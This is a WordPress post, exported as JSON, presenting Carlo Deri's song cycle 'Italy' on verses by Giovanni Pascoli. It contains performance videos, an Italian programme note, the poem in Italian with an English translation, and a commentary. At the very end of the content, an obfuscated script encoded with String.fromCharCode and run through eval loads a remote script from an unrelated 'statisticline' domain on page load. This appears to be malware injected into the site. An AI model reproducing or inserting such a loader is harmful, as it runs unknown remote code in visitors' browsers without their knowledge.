{"id":123,"date":"2013-09-16T20:44:59","date_gmt":"2013-09-16T20:44:59","guid":{"rendered":"http:\/\/www.carloderi.com\/?p=123"},"modified":"2023-11-12T10:01:22","modified_gmt":"2023-11-12T10:01:22","slug":"carlo-deri-italy-3-4-per-canto-e-pianoforte","status":"publish","type":"post","link":"https:\/\/www.carloderi.com\/?p=123","title":{"rendered":"Carlo Deri &#8211; ITALY, per canto e pianoforte"},"content":{"rendered":"<p><iframe loading=\"lazy\"  id=\"_ytid_19143\"  width=\"480\" height=\"270\"  data-origwidth=\"480\" data-origheight=\"270\" src=\"https:\/\/www.youtube.com\/embed\/KG8g2his6ns?enablejsapi=1&#038;autoplay=0&#038;cc_load_policy=0&#038;cc_lang_pref=&#038;iv_load_policy=1&#038;loop=0&#038;rel=1&#038;fs=1&#038;playsinline=0&#038;autohide=2&#038;theme=dark&#038;color=red&#038;controls=1&#038;disablekb=0&#038;\" class=\"__youtube_prefs__  epyt-is-override  no-lazyload\" title=\"YouTube player\"  allow=\"fullscreen; accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen data-no-lazy=\"1\" data-skipgform_ajax_framebjll=\"\"><\/iframe><br \/>\n<iframe loading=\"lazy\"  id=\"_ytid_33105\"  width=\"480\" height=\"270\"  data-origwidth=\"480\" data-origheight=\"270\" src=\"https:\/\/www.youtube.com\/embed\/qaf982Y0SRg?enablejsapi=1&#038;autoplay=0&#038;cc_load_policy=0&#038;cc_lang_pref=&#038;iv_load_policy=1&#038;loop=0&#038;rel=1&#038;fs=1&#038;playsinline=0&#038;autohide=2&#038;theme=dark&#038;color=red&#038;controls=1&#038;disablekb=0&#038;\" class=\"__youtube_prefs__  epyt-is-override  no-lazyload\" title=\"YouTube player\"  allow=\"fullscreen; accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen data-no-lazy=\"1\" data-skipgform_ajax_framebjll=\"\"><\/iframe><br \/>\n<iframe loading=\"lazy\"  id=\"_ytid_76468\"  width=\"480\" height=\"270\"  data-origwidth=\"480\" data-origheight=\"270\" src=\"https:\/\/www.youtube.com\/embed\/zho0DrRnHHs?enablejsapi=1&#038;autoplay=0&#038;cc_load_policy=0&#038;cc_lang_pref=&#038;iv_load_policy=1&#038;loop=0&#038;rel=1&#038;fs=1&#038;playsinline=0&#038;autohide=2&#038;theme=dark&#038;color=red&#038;controls=1&#038;disablekb=0&#038;\" class=\"__youtube_prefs__  epyt-is-override  no-lazyload\" title=\"YouTube player\"  allow=\"fullscreen; accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen data-no-lazy=\"1\" data-skipgform_ajax_framebjll=\"\"><\/iframe><br \/>\nITALY, sei liriche per canto e pianoforte su versi tratti da Italy di Giovanni Pascoli (2003)<br \/>\nAlexander Hurd, baritono \u2022 Paul Pisano, pianoforte.<br \/>\nTorre del Lago Puccini, 49\u00b0 Festival Pucciniano, 7 luglio 2003.<br \/>\nPrima esecuzione assoluta a cura del College-Conservatory of Music dell&#8217;Universit\u00e0 di Cincinnati (USA).<\/p>\n<p>\u00a9 Copyright 2003 by Carlo Deri.<\/p>\n<p>&nbsp;<\/p>\n<p><i>Italy<\/i> \u00e8 un ciclo liederistico (in origine per canto e pianoforte, ne \u00e8 stata poi realizzata anche la versione sinfonica, per voce solista e orchestra) della durata di circa mezz\u2019ora su versi tratti dall\u2019omonimo poemetto composto da Giovanni Pascoli nel 1904, un\u2019opera che all\u2019epoca suscit\u00f2 forti discussioni e commenti contrastanti principalmente a causa degli sperimentalismi linguistici in essa contenuti.<\/p>\n<p>Il testo originale \u00e8 piuttosto lungo (450 versi) e per utilizzarlo musicalmente si \u00e8 resa necessaria una riduzione. Sono stati quindi presi 116 versi e ne sono state ricavate sei liriche.<\/p>\n<p>Si narra la vicenda vissuta da alcuni Italiani emigrati negli Stati Uniti (a Cincinnati, nello Stato dell\u2019Ohio) che ritornano al luogo di origine \u2013 Caprona di Castelvecchio, presso Barga \u2013 portando con s\u00e9 Molly, una bambina della famiglia, malata di tisi, a tentare la guarigione in Italia.<\/p>\n<p>La bimba, di otto anni, a Caprona incontra per la prima volta la vecchia nonna, e bench\u00e9 l\u2019una non parli che l\u2019inglese e l\u2019altra solo l\u2019italiano, nasce tra loro una rapporto d\u2019amore fatto di sguardi, di mute e un po\u2019 ruvide gentilezze, di parole non dette o capite male: a volte le bizze, gli strilli della bimba \u2013 colpita e disorientata dalla povert\u00e0, dallo squallore della povera casa di contadini \u2013 sono erroneamente interpretati dalla nonna, che non comprende la repulsione in effetti espressa dalla bambina, e scambiati per un innocente \u201ccinguettio\u201d infantile.<\/p>\n<p>La bimba alla fine guarir\u00e0, mentre sar\u00e0 la nonna a morire.<\/p>\n<p>L\u2019ultima \u201cscena\u201d \u00e8 quella della partenza: ai bimbi che le chiedono se un giorno torner\u00e0 in Italia, Molly risponde \u2013 in italiano \u2013 \u00abs\u00ec!\u00bb<\/p>\n<p>Dal punto di vista musicale l\u2019ambito \u00e8 globalmente non-tonale, anche se le tecniche utilizzate sono varie (da una libera atonalit\u00e0 a momenti pi\u00f9 o meno rigorosamente seriali e perfino \u201cmaterici\u201d) senza per\u00f2 la preclusione di poter esprimere in certi casi veri e propri centri di attrazione tonale, sia pure non intesi in senso tradizionale.<\/p>\n<p>Il testo di ogni lirica generalmente corrisponde ad una strofa o a parte di essa, tranne nel terzo brano, dove sono stati accostati due gruppi di versi tratti da strofe differenti per esprimere il forte contrasto di atmosfere fra la descrizione della bambina e la crudezza della situazione dell\u2019emigrante.<\/p>\n<p>Non mancano momenti evocativi, come appunto nella terza lirica: la descrizione della bambina \u00e8 svolta su una parte pianistica che ricorda \u2013 ovviamente trasfigurandolo \u2013 l\u2019andamento un po\u2019 meccanico di una melodia di carillon; subito dopo il vento di tramontana e ancor pi\u00f9 la condizione \u2013 contro natura \u2013 di chi per sopravvivere deve lasciare con le lacrime agli occhi gli affetti, i luoghi che l\u2019hanno visto nascere, la propria storia e deve mettersi in cammino alla volta di terre sconosciute, \u00e8 evocata da una musica dura, violenta, realizzata su due piani sonori: da una parte clusters al grave, dall\u2019altra ottave isolate e marcate nella regione mediana della tessitura pianistica. Altri momenti hanno un carattere pi\u00f9 \u201cteatrale\u201d, come per esempio nell\u2019ultima lirica, tutta svolta sul tema della partenza.<\/p>\n<p>Proprio queste evocazioni di una dimensione scenica hanno suggerito la teatralizzazione del lavoro musicale: il brano infatti \u00e8 stato eseguito oltre che nella sua forma cameristica originaria, anche in forma scenica.<\/p>\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td colspan=\"2\" valign=\"top\" width=\"727\">\n<p align=\"center\">Carlo Deri<\/p>\n<h2 style=\"text-align: center;\">ITALY<\/h2>\n<p align=\"center\"><i>sei liriche per canto e pianoforte su versi tratti da<\/i> Italy<i> di Giovanni Pascoli<\/i><\/p>\n<p align=\"center\"><i>&#8211; Sacro all&#8217;Italia raminga &#8211; <\/i><\/p>\n<p align=\"center\">\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" valign=\"top\" width=\"727\">\n<p align=\"center\"><i>1 \u2013 A Caprona, una sera di febbraio\u2026<\/i><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"364\">A Caprona, una sera di febbraio,gente veniva, ed era gi\u00e0 per l&#8217;erta<\/p>\n<p>veniva su da Cincinnati, Ohio.<\/p>\n<p>&nbsp;<\/p>\n<p>La strada, con quel tempo, era deserta.<\/p>\n<p>Pioveva, prima adagio, ora a dirotto,<\/p>\n<p>tamburellando su l&#8217;ombrella aperta.<\/p>\n<p>&nbsp;<\/p>\n<p>La Ghita and Beppe di Taddeo l\u00ec sotto erano,<\/p>\n<p>sotto la cerata ombrella<\/p>\n<p>del padre: una ragazza, un giovinotto.<\/p>\n<p>&nbsp;<\/p>\n<p>E c&#8217;era anche una bimba malatella,<\/p>\n<p>in collo a Beppe, e di su la sua spalla<\/p>\n<p>mesceva gi\u00f9 le bionde lunghe anella.<\/p>\n<p>&nbsp;<\/p>\n<p>Figlia d&#8217;un altro figlio, era una talla<\/p>\n<p>del ceppo vecchio nata l\u00e0: Maria:<\/p>\n<p>d&#8217;otto anni: aveva il peso d&#8217;una galla.<\/p>\n<p>&nbsp;<\/p>\n<p>Ai ritornanti per la lunga via,<\/p>\n<p>gi\u00e0 vicini all&#8217;antico focolare,<\/p>\n<p>la lor chiesa son\u00f2 l&#8217;Avemaria<\/p>\n<p>&nbsp;<\/p>\n<p>Erano stanchi! Avean passato il mare!<\/p>\n<p>Appena appena tra la pioggia e il vento<\/p>\n<p>l&#8217;udiron essi or s\u00ec or no sonare.<\/p>\n<p>&nbsp;<\/p>\n<p>Maria cullata dall&#8217;andar su lento<\/p>\n<p>sembrava quasi abbandonarsi al sonno,<\/p>\n<p>sotto l&#8217;ombrella. Fradicio e contento<\/p>\n<p>&nbsp;<\/p>\n<p>veniva piano dietro tutti il nonno.<\/p>\n<p align=\"center\">\n<\/td>\n<td valign=\"top\" width=\"364\">To Caprona, one evening in February,people were coming, already on the slope,<\/p>\n<p>coming up from Cincinnati, Ohio.<\/p>\n<p>&nbsp;<\/p>\n<p>The road, in that weather, was deserted.<\/p>\n<p>It was raining, first gently, then pouring,<\/p>\n<p>drumming on the open umbrella.<\/p>\n<p>&nbsp;<\/p>\n<p>Ghita and Beppe di Taddeo were there<\/p>\n<p>under their father&#8217;s oilskin umbrella:<\/p>\n<p>a girl and a boy.<\/p>\n<p>&nbsp;<\/p>\n<p>And there was also a sickly child<\/p>\n<p>on Beppe&#8217;s shoulders, her long blond hair<\/p>\n<p>fell around his neck.<\/p>\n<p>&nbsp;<\/p>\n<p>Daughter of another son, she was a bud<\/p>\n<p>of the old family tree, born over there:<\/p>\n<p>Maria, eight years old, light as an acorn.<\/p>\n<p>&nbsp;<\/p>\n<p>To the returning ones, after the long journey,<\/p>\n<p>already near the ancient hearth,<\/p>\n<p>their church sounded the Ave Maria.<\/p>\n<p>&nbsp;<\/p>\n<p>How weary they were! They had crossed the sea!<\/p>\n<p>Amid the rain and wind they barely heard<\/p>\n<p>the sounding of the bells.<\/p>\n<p>&nbsp;<\/p>\n<p>Maria, rocked by the slow walking,<\/p>\n<p>seemed to give way to sleep,<\/p>\n<p>under the umbrella. Soaking wet and content<\/p>\n<p>&nbsp;<\/p>\n<p>Grandfather quietly appeared behind them.<\/p>\n<p align=\"center\">\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" valign=\"top\" width=\"727\">\n<p align=\"center\"><i>2 \u2013 E i figli la rividero alla fiamma del focolare\u2026<\/i><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"364\">E i figli la rividero alla fiammadel focolare, curva, sfatta, smunta.<\/p>\n<p>&#8220;Ma siete trista! Siete trista, o mamma!&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>Ed accostando agli occhi, essa, la punta<\/p>\n<p>del pannelletto, con un fil di voce:<\/p>\n<p>&#8220;E il Cecco \u00e8 fiero? E come va l&#8217;Assunta?&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;Ma voi! Ma voi!&#8221; &#8221; L\u00e0 l\u00e0, con la mia croce&#8221;.<\/p>\n<p>&nbsp;<\/p>\n<p>I muri grezzi apparvero col banco<\/p>\n<p>vecchio e la vecchia tavola di noce.<\/p>\n<p align=\"center\">\n<\/td>\n<td valign=\"top\" width=\"364\">And her children saw her again in the flameof the hearth, bend over and haggard.<\/p>\n<p>&#8220;But you are ill, ill, oh mamma!&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>And bringing the corner of her apron to her<\/p>\n<p>eyes, she said, in a small voice:<\/p>\n<p>&#8220;And Cecco is well? And how is Assunta?&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>[they said] &#8220;But you! But you!&#8221; [she said] &#8220;There, there, you are my cross&#8221;.<\/p>\n<p>The walls were crude, as were the old bench<\/p>\n<p>and the table of walnut.<\/p>\n<p align=\"center\">\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" valign=\"top\" width=\"727\">\n<p align=\"center\"><i>3 \u2013 La bambina bionda\u2026<\/i><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"364\">[&#8230;] La bambina biondaora ammiccava qua e l\u00e0 col dito.<\/p>\n<p>&nbsp;<\/p>\n<p>Parlava; e la sua nonna, tremebonda,<\/p>\n<p>stava a sentire e poi dicea: &#8220;Non pare un lu\u00ec<\/p>\n<p>quando canta tra la fronda?&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>Parlava la sua lingua d&#8217;oltremare:<\/p>\n<p><i>&#8220;&#8230;a chicken-house&#8221;<\/i> &#8220;un piccolo lu\u00ec&#8230;&#8221;<\/p>\n<p><i>&#8220;. ..for mice and rats&#8221;<\/i> &#8220;che gode a cinguettare,<\/p>\n<p>zi zi&#8221; <i>&#8220;Bad country, Joe, your Italy!&#8221;<\/i><\/p>\n<p>&nbsp;<\/p>\n<p>Il tramontano discendea con sordi<\/p>\n<p>brontoli. Ognuno si godeva i cari<\/p>\n<p>ricordi, cari ma perch\u00e9 ricordi:<\/p>\n<p>&nbsp;<\/p>\n<p>quando sbarcati dagli ignoti mari<\/p>\n<p>scorrean le terre ignote con un grido<\/p>\n<p>straniero in bocca, a guadagnar danari<\/p>\n<p>&nbsp;<\/p>\n<p>per farsi un campo, per rifarsi un nido. . .<\/p>\n<p align=\"center\">\n<\/td>\n<td valign=\"top\" width=\"364\">[&#8230;] The blond childpointed here and there with her finger.<\/p>\n<p>&nbsp;<\/p>\n<p>She spoke; and her grandmother, trembling,<\/p>\n<p>listened and then said: &#8221; Doesn&#8217;t she seem like<\/p>\n<p>a little bird singing on a branch?&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>She [Maria] spoke her language from across the sea:<\/p>\n<p><i>&#8221; &#8230; a chicken-house&#8221;<\/i> &#8220;a little bird&#8230;&#8221;<\/p>\n<p><i>&#8220;\u2026 for mice and rats&#8221;<\/i> &#8220;that likes to chatter,<\/p>\n<p>tweet, tweet.&#8221; <i>&#8220;Bad country, Joe, your Italy!&#8221;<\/i><\/p>\n<p>&nbsp;<\/p>\n<p>The north wind descended with mute<\/p>\n<p>rumblings. Everyone enjoyed the dear<\/p>\n<p>memories, dear because they were memories:<\/p>\n<p>&nbsp;<\/p>\n<p>when they, just off the boat from unknown seas,<\/p>\n<p>scurried across unknown lands with a foreign<\/p>\n<p>cry in their mouths, to earn money,<\/p>\n<p>&nbsp;<\/p>\n<p>to make a home&#8230;<\/p>\n<p align=\"center\">\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" valign=\"top\" width=\"727\">\n<p align=\"center\"><i>4 \u2013 Tra il rumore dei licci e della cassa\u2026<\/i><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"364\">Tra il rumore dei licci e della cassatossiva, che la nonna non sentisse.<\/p>\n<p>La nonna spesso le dicea: &#8220;Ti passa?&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p><i>&#8220;Yes&#8221;<\/i>, rispondeva. Un giorno poi le disse:<\/p>\n<p>&#8220;Non venir qui! &#8221; Ma ella ci veniva,<\/p>\n<p>e stava l\u00ec con le pupille fisse.<\/p>\n<p>&nbsp;<\/p>\n<p>Godeva di guardare la giuliva danza dei licci, [&#8230;]<\/p>\n<p>&nbsp;<\/p>\n<p>Stava l\u00ec buona a piedi d&#8217;un soppiano;<\/p>\n<p>girava l&#8217;aspo, riemp\u00eca cannelli<\/p>\n<p>e poi tossiva dentro s\u00e9 pian piano.<\/p>\n<p>&nbsp;<\/p>\n<p>Un giorno che veniva acqua a ruscelli,<\/p>\n<p>fiss\u00f2 la nonna e chiese: <i>&#8220;Die?&#8221;<\/i><\/p>\n<p>La nonna le carezzava i morbidi capelli.<\/p>\n<p>&nbsp;<\/p>\n<p>La bimba allora piano per la gonna<\/p>\n<p>le sal\u00ec, e le si stese sui ginocchi:<\/p>\n<p><i>&#8220;Die?&#8221;<\/i> &#8220;E che t&#8217;ho a dir io povera donna.&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>La bimba allora chiuse un poco gli occhi:<\/p>\n<p><i>&#8220;Die! Die!&#8221;<\/i> La nonna sussurr\u00f2: &#8220;Dormire?&#8221;<\/p>\n<p>&#8220;No! No!&#8221; La bimba chiuse anche pi\u00f9 gli occhi,<\/p>\n<p>&nbsp;<\/p>\n<p>s&#8217;abbandon\u00f2 per pi\u00f9 che non dormire,<\/p>\n<p>pieg\u00f2 le mani sopra il petto:<\/p>\n<p><i>&#8220;Die! Die! Die!&#8221;<\/i> La nonna balbett\u00f2 &#8220;Morire!&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p><i>&#8220;Oh yes! Molly morire in Italy!&#8221;<\/i><\/p>\n<p>&nbsp;<\/p>\n<p>ITALY allora n&#8217;ebbe tanta pena.<\/p>\n<p>Povera <i>Molly<\/i>! E venne un vento buono<\/p>\n<p>che spazz\u00f2 l&#8217;aria che torn\u00f2 serena.<\/p>\n<p align=\"center\">\n<\/td>\n<td valign=\"top\" width=\"364\">She coughed in the sound of the loomso that grandmother wouldn&#8217;t hear.<\/p>\n<p>Grandmother often asked her &#8220;Will it pass?&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p><i>&#8220;Yes&#8221;, <\/i>she answered. Another day grandmother said:<\/p>\n<p>&#8220;Don&#8217;t come here&#8221; But she came<\/p>\n<p>and stood there with fixed eyes.<\/p>\n<p>&nbsp;<\/p>\n<p>She liked to watch the merry dance of the loom&#8230;<\/p>\n<p>&nbsp;<\/p>\n<p>She stood there at the foot of the chest;<\/p>\n<p>helped with the weaving<\/p>\n<p>and coughed to herself quietly.<\/p>\n<p>&nbsp;<\/p>\n<p>One day when water came in streams,<\/p>\n<p>she stared at grandmother and asked: &#8220;Die?&#8221;<\/p>\n<p>Grandmother caressed her soft hair.<\/p>\n<p>&nbsp;<\/p>\n<p>The child then quietly climbed into<\/p>\n<p>grandmother&#8217;s lap and stood on her knees:<\/p>\n<p>&#8220;Die?&#8221; &#8220;And what can I, poor woman, say to you?&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>The child then closed her eyes a little:<\/p>\n<p><i>&#8220;Die! Die!&#8221;<\/i> Grandmother murmured &#8220;Sleep?&#8221;<\/p>\n<p>&#8220;No! No!&#8221; The child closed her eyes even more,<\/p>\n<p>&nbsp;<\/p>\n<p>pretending to be dead,<\/p>\n<p>she crossed her hands over her chest<\/p>\n<p><i>&#8220;Die! Die! Die!&#8221;<\/i> Grandmother stammered &#8220;Die!&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;Oh yes, Molly <i>morire<\/i> in Italy!&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>Italy then felt much pain.<\/p>\n<p>Poor Molly! And a refreshing wind came<\/p>\n<p>which cleansed the air.<\/p>\n<p align=\"center\">\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" valign=\"top\" width=\"727\">\n<p align=\"center\"><i>5 \u2013 Non piangere, poor Molly<\/i><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"364\">Non piangere, <i>poor Molly!<\/i> Esci, fa piano,lascia la nonna li sotto il lenzuolo<\/p>\n<p>di tela grossa ch&#8217;ella fece a mano.<\/p>\n<p>&nbsp;<\/p>\n<p>T&#8217;amava, oh! s\u00ec! Tu ne imparavi a volo<\/p>\n<p>qualche parola bella che balbetti:<\/p>\n<p>essa da te [&#8230;] quel die, die solo!<\/p>\n<p>&nbsp;<\/p>\n<p>Lascia l\u00ec <i>Doll<\/i>, lasciali accosto i letti,<\/p>\n<p>piccolo e grande. <i>Doll<\/i> \u00e8 savia, e tace,<\/p>\n<p>n\u00e9 dorme: ha gli occhi aperti e par che aspetti<\/p>\n<p>&nbsp;<\/p>\n<p>che li apra l&#8217;altra, ch&#8217;ora dorme in pace.<\/p>\n<p align=\"center\">\n<\/td>\n<td valign=\"top\" width=\"364\">Don&#8217;t weep, poor Molly! Go out, be quietIeave grandmother there under the sheet<\/p>\n<p>of heavy cloth which she made by hand.<\/p>\n<p>&nbsp;<\/p>\n<p>She loved you, oh, yes! You quickly learned<\/p>\n<p>some lovely words which you murmured:<\/p>\n<p>she from you . . . that die, die only!<\/p>\n<p>&nbsp;<\/p>\n<p>Leave <i>Doll<\/i> there, leave them both there<\/p>\n<p>by the beds, small and large. <i>Doll<\/i> is wise, she is<\/p>\n<p>silent and doesn&#8217;t sleep: her eyes are open and she seems to wait<\/p>\n<p>&nbsp;<\/p>\n<p>for grandmother, who now sleeps in peace, to open hers.<\/p>\n<p align=\"center\">\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" valign=\"top\" width=\"727\">\n<p align=\"center\"><i>6 \u2013 Prima d&#8217;andare, vieni al camposanto<\/i><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"364\">Prima d&#8217;andare, vieni al camposanto,s&#8217;hai da ridire come qua si tiene.<\/p>\n<p>&nbsp;<\/p>\n<p>Stridono i bombi intorno ai fior d&#8217;acanto,<\/p>\n<p>ronzano l&#8217;api intorno le verbene.<\/p>\n<p>&nbsp;<\/p>\n<p>E qui tra tanto sussurr\u00eco riposa<\/p>\n<p>La nonna cara che ti volle bene.<\/p>\n<p>&nbsp;<\/p>\n<p>O <i>Molly<\/i>! O <i>Molly<\/i>! Prendi su qualcosa<\/p>\n<p>prima d&#8217;andare, e portalo con te.<\/p>\n<p>&nbsp;<\/p>\n<p>Non un geranio n\u00e9 un bocciuol di rosa,<\/p>\n<p>Prendi sol un NON-TI-SCORDAR-DI-ME!<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;Joe, bona cianza!. ..&#8221; &#8220;Ghita, state bene!&#8230;&#8221;<\/p>\n<p><i>&#8220;Good bye&#8221;<\/i> &#8220;L&#8217;avete presa la tichetta?&#8221;<\/p>\n<p><i>&#8220;Oh yes&#8221;<\/i> &#8220;Che barco?&#8221; &#8220;Il Prinzessin Irene&#8221;.<\/p>\n<p>&nbsp;<\/p>\n<p>L&#8217;un dopo l&#8217;altro dava a <i>Joe<\/i> la stretta<\/p>\n<p>lunga di mano. &#8220;Salutate il tale&#8221;.<\/p>\n<p>&#8220;<i>Yes<\/i>, servir\u00f2&#8221;. &#8220;Come partite in fretta!&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>[ &#8230;]<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;Se vedete il mi&#8217; babbo&#8230;il mi&#8217; fratello&#8230;<\/p>\n<p>il mi&#8217; cognato. . . &#8221; <i>&#8220;Oh yes&#8221; <\/i>&#8220;Un bel passaggio<\/p>\n<p>vi tocca, o Ghita. Il tempo \u00e8 fermo al bello&#8221;.<\/p>\n<p>&nbsp;<\/p>\n<p><i>&#8220;Oh yes&#8221;. <\/i>Facea pur bello! Ogni villaggio<\/p>\n<p>ridea nel sole sopra le colline.<\/p>\n<p>Sfiorian le rose da&#8217; rosai di maggio.<\/p>\n<p>&nbsp;<\/p>\n<p><i>Sweet sweet\u2026<\/i> era un sussurro senza fine<\/p>\n<p>nel cielo azzurro. Rosea, bionda, e mesta,<\/p>\n<p><i>Molly<\/i> era in mezzo ai bimbi e alle bambine.<\/p>\n<p>&nbsp;<\/p>\n<p>Il nonno, solo, in l\u00e0 volgea la testa<\/p>\n<p>bianca. Sonava intorno mezzod\u00ec.<\/p>\n<p>Chiedeano i bimbi con voc\u00eco di festa:<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;Tornerai, <i>Molly<\/i>?&#8221; Rispondeva: &#8211; S\u00ec!<\/p>\n<p align=\"center\">\n<\/td>\n<td valign=\"top\" width=\"364\">Before you go, come to the cemetery,if<b> y<\/b>ou have to describe how it is kept here.<\/p>\n<p>&nbsp;<\/p>\n<p>Wasps screech around the acanthus,<\/p>\n<p>bees buzz around the verbena.<\/p>\n<p>&nbsp;<\/p>\n<p>And here among all these sounds rests<\/p>\n<p>dear grandmother who loved you.<\/p>\n<p>&nbsp;<\/p>\n<p>O Molly! O Molly! Take something<\/p>\n<p>before you go, and take it with you.<\/p>\n<p>&nbsp;<\/p>\n<p>Not a geranium nor a rosebud,<\/p>\n<p>take only a FORGET-ME-NOT!<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;Joe, bonne chance!&#8221; &#8220;Ghita, be well!&#8221;<\/p>\n<p><i>&#8220;Good bye&#8221;<\/i> &#8220;Do you have your ticket?&#8221;<\/p>\n<p><i>&#8220;Oh yes&#8221;<\/i> &#8220;What ship?&#8221; &#8221; The Prinzessin Irene&#8221;.<\/p>\n<p>&nbsp;<\/p>\n<p>One person after another gave Joe a long,<\/p>\n<p>firm handshake. &#8220;Greet so-and-so&#8221;.<\/p>\n<p>&#8220;<i>Yes,<\/i> I will&#8221;. &#8220;You are leaving in such a hurry!&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>[ &#8230;]<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;If you see my father\u2026 my brother\u2026<\/p>\n<p>my brother-in-law. . .&#8221; <i>&#8220;Oh yes&#8221;<\/i> &#8220;You will have<\/p>\n<p>a fine trip, Ghita. The weather is beautiful&#8221;.<\/p>\n<p>&nbsp;<\/p>\n<p><i>&#8220;Oh yes&#8221;.<\/i> It was lovely weather! Every village<\/p>\n<p>sparkled in the sun above the hills.<\/p>\n<p>The roses of the May rosebuds withered.<\/p>\n<p>&nbsp;<\/p>\n<p><i>Sweet sweet\u2026<\/i> it was an endless murmur<\/p>\n<p>in the blue sky. Rosy, blond, and sad,<\/p>\n<p>Molly was in the midst of the children.<\/p>\n<p>&nbsp;<\/p>\n<p>Grandfather, alone, turned his white head<\/p>\n<p>there. Midday sounded all around.<\/p>\n<p>The children asked with a festive shout&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;Will you come back Molly?&#8221; She answered: <i>&#8220;S\u00ec!&#8221;<\/i><\/p>\n<p align=\"center\">\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" valign=\"top\" width=\"727\">With this work, Carlo Deri celebrates decades, even centuries, of Italian-American cross culture, dedicating it to a Lucchese-American, maestro Lorenzo Malfatti, who has brought Italy to America and America to Italy for many years. In this long poem from 1904, from which Carlo Deri extracted the text for these songs, the poet Giovanni Pascoli experimented with using English words in his Italian poem; so that, for example, the title is in English, and febbraio rhymes with Cincinnati, Ohio. The little girl, Maria (Molly) speaks only English, her grandmother only Italian. Even though neither understands the words of the other, they develop a strong bond. Molly&#8217;s initial distaste for the country of her grandparents gradually changes, and with her grandmother&#8217;s death, she resolves to return to Italy, speaking a resounding &#8220;s\u00ec&#8221;, her first Italian word.&nbsp;<\/p>\n<p align=\"right\">David Adams (University Of Cincinnati \u2013 College Conservatory Of Music )<\/p>\n<p align=\"center\">\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>ITALY, sei liriche per canto e pianoforte su versi tratti da Italy di Giovanni Pascoli (2003) Alexander Hurd, baritono \u2022 Paul Pisano, pianoforte. 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